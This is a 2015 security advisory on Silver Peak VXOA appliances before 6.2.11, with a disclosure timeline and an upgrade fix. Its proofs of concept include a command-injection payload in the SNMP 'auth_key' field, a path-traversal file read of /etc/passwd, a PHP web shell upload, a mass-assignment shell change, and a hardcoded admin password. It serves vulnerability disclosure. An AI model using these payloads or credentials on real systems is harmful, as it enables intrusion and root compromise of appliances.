# Vulnerability Advisory

| | |
|---|---|
| **Name** | Silver Peak VXOA Multiple Vulnerabilities |
| **Vendor Website** | https://www.silver-peak.com/ |
| **Date Of Public Advisory** | September 9, 2015 |
| **Affected Software** | Silver Peak VXOA < 6.2.11 |
| **Researchers** | Daniel Jensen |

## Description

The Silver Peak VX virtual appliance running VXOA before version 6.2.11 contains a number of security vulnerabilities, including command injection, unauthenticated file read, mass assignment, shell upload, and hardcoded credentials. By combining these vulnerabilities, an attacker may remotely obtain root privileges on the underlying host.

## Exploitation

**Command Injection**

A user with administrative access to the REST JSON interface of the VX web server may execute arbitrary commands on the operating system. The injection point lies in the "snmp" call, which does not sanitise the "auth_key" parameter before including it in an executed command string.

The following screenshots show the command injection JSON posted with a valid authentication token to the /rest/json/snmp call, and the result of the command stored in a file on the disk.

**Proof of Concept**

```
POST /rest/json/snmp HTTP/1.1
Host: 192.168.[redacted]
Content-Type: application/json; charset=UTF-8
Content-Length: 372
Cookie:
connect.sid=s%3ApHCre5CqxZMwePVMlXfaatja.8fFyY6ttyeCfc9MErGUdwyJkGjoFL2pwBNPDDNizEI4

{"access":{"rocommunity":"public"},"listen":{"enable":true},"traps":{"trap_community
":"public","enable":true},"auto_launch":true,"sysdescr":"","syscontact":"","syslocat
ion":"","v3":{"users":{"admin":{"hash_type":"sha",
"auth_key":"a;echo `id` > /var/tmp/cmdexec",
"self":"admin","privacy_key":"","privacy_type":"aes-128","enable":false}}},"encAuth"
:false,"encPri":false}
```

```
[admin@silverpeak root]# cat /var/tmp/cmdexec
uid=0(admin) gid=0(root)
```

**Unauthenticated File Read**
A user with the ability to access the VX web server interface may make an unauthenticated call to a web interface function that allows them to read arbitrary files on the disk with the permission of the web server user "apache". Two functions are affected by this vulnerability, "save_file.php" and "save_config_file.php".

**Proof of Concept**

```
root@kali:~# curl -s "http://192.168.[redacted]/6.2.5.0_52054/php/save_file.php?fnam
e=../../etc/passwd&ftype=log" | head -n 4
admin:x:0:0:Admin User:/var/home/root:/opt/tms/bin/cli
apache:x:48:48:Apache User:/opt/tms/lib/web:/sbin/nologin
monitor:x:1001:1001:Monitor User:/var/home/monitor:/opt/tms/bin/cli
nobody:x:99:99:Nobody User:/:/sbin/nologin
```

**Mass Assignment**
A user with access to the REST JSON interface of the VX web server may alter undocumented parameters of the "users" call, allowing them to change a user's login shell to bash. This can be used to evade the limited subshell enforced by the SSH server on the appliance. The following screenshots show adding the shell field to the JSON POST, and the "test" user's shell set to bash in the passwd file.

**Proof of Concept**

```
POST /rest/json/users HTTP/1.1
Host: 192.168.[redacted]
Content-Type: application/json; charset=UTF-8
Content-Length: 292
Cookie:
connect.sid=s%3A8%2FZGea4v%2BHc8UrWdRHPnvmJl.Psu2f8GQdFz8CUX%2BEbvKcO8oTCIRVw9I5oIi4FT
l804;

{"users":{"test":{"self":"test","enable":true,"gid":0,"password":"test",
"shell":"/bin/bash"},"admin":{"self":"admin","enable":true,"gid":0,"password":"$1$pn5x
/D8c$PE4b4767D1TCrvgayHgfa/"},"monitor":{"self":"monitor","enable":true,"gid":1001,"pa
ssword":"$1$bt53sIe.$jBu8hHD5UNgtsip.9q/GA1"}}}
```

```
[admin@silverpeak root]# grep "test" /etc/passwd
test:x:0:0:User test:/var/home/test:/bin/bash
```

**Shell Upload**
A user with monitor or administrative access to the web interface of the VX web server may upload a PHP shell in order to execute arbitrary commands as the web server user "apache".

A POST request containing the PHP shell is made to the "configdb_file.php" endpoint. This uploads the shell to a directory with a randomly generated name corresponding to the user's SOAP interface session. This random value may be obtained from "home.php", and the uploaded shell accessed within that directory.

The following screenshots show the upload of a basic command shell, obtaining the random directory name from the "flowfile" JavaScript variable in the home.php page, and executing commands with the uploaded shell:

**Proof of Concept**

```
POST /6.2.5.0_52054/php/configdb_file.php?seenform=1 HTTP/1.1
Host: 192.168.[redacted]
Cookie: PHPSESSID=dc23d2e2783991bfe3538270fcba74af;
Content-Type: multipart/form-data; boundary=--------------------------6
Content-Length: 435

----------------------------60090444141263066945636 4306
Content-Disposition: form-data; name="userfile"; filename="cmdshell.php"
Content-Type: text/html

<?php
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
?>

----------------------------60090444141263066945636 4306
```

```
  var flowFile =
"/opt/tms/lib/web/content/webui/php/temp/soap/7e4yg47jaugs2m22ygyvc94zt2kp6hqdimfev
2jl185we0bo18hlgbm8kourwpz/";
```

```
root@kali:~# curl -s "http://192.168.[redacted]/6.2.5.0_52054/php/temp/soap/7e4yg47j
augs2m22ygyvc94zt2kp6hqdimfev2jl185we0bo18hlgbm8kourwpz/cmdshell.php?cmd=id;unam
e%20-a"
<pre>uid=48(apache) gid=48(apache) groups=48(apache)
Linux silverpeak 2.6.38.6-rc1 #1 VXOA 6.2.5.0_52054 SMP Fri Jul 18 14:26:19 PDT
2014 x86_64 x86_64 x86_64 GNU/Linux
```

**Hardcoded Account**
The "spsadmin" account is predefined in the VX appliance, and is hidden from user account lists in the web and subshell interfaces. The account has a hardcoded password of "Silverpeak123", and cannot be logged into through the regular web interface, or the subshell over SSH. However, the account can log in via the web JSON interface, and execute JSON API calls with administrative privileges. This can include creating new users, with which an attacker may successfully log into the SSH or web interfaces, and also exploiting the Command Injection bug detailed earlier in this advisory.
The following screenshot shows a successful authentication request with the hidden credentials:

**Proof of Concept**

```
POST /rest/json/login HTTP/1.1
Host: 192.168.[redacted]
Content-Type: application/json; charset=UTF-8
Content-Length: 46

{"user":"spsadmin","password":"Silverpeak123"}
```

```
HTTP/1.1 200 OK
Date: Tue, 31 Mar 2015 01:43:06 GMT
X-Powered-By: Express
Cache-Control: no-cache, no-store
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 58
Set-Cookie:
connect.sid=s%3AzPstI0DYH0EeVJFArvmmdwuP.IAWyWT7N5GLZ6Gox42e
Expires=Thu, 30 Apr 2015 01:43:06 GMT; HttpOnly

Request performed successfully. Authentication successful
```

**Subshell Breakout**
An administrative user with access to the enable menu of the login subshell may enter a hardcoded string to obtain a bash shell on the operating system. Use of the string "_spsshell" is detailed below:

**Proof of Concept**

```
silverpeak > en
silverpeak # _spsshell
[admin@silverpeak root]# id
uid=0(admin) gid=0(root) groups=0(root)
[admin@silverpeak root]#
```

## Solution

Users of the 6.2.x branch should upgrade to version 6.2.11 of VXOA in order to protect against these issues. Silver Peak has advised that users of the 7.2.x branch are only vulnerable to the command injection vulnerability, which will be patched in version 7.3.

## Timeline

01/04/2015 – Email sent to info address asking for a security contact.
09/04/2015 – Email sent to info and security addresses asking for a security contact.
21/04/2015 – Email sent to CEO regarding security contact.
21/04/2015 – Response from CEO providing security contact details.
22/04/2015 – Email sent to security contact asking for PGP key.
22/04/2015 – Received PGP key, sent advisory.
22/04/2015 – Email received confirming receipt of advisory.
22/06/2015 – Email sent asking for update on advisory.
23/06/2015 – Vendor details fixes in place, states that all issues have been fixed in 6.2.11.0, and only the command injection remains unfixed in the 7.2.x version.
17/07/2015 – Email sent regarding resolution of unfixed issue.
17/07/2015 – Received response stating the command injection issue is only relevant to customers who have disabled shell access.
21/07/2015 – Email sent asking for clarification on the vendor stance.
21/07/2015 – Vendor states command injection vulnerability is only an issue for customers with shell access disabled as they otherwise have the ability to execute commands through the shell, and that the issue will be fixed in release 7.3.
09/09/2015 – Public advisory release.

## Responsible Disclosure

Security-Assessment.com follows a responsible disclosure policy.

## About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com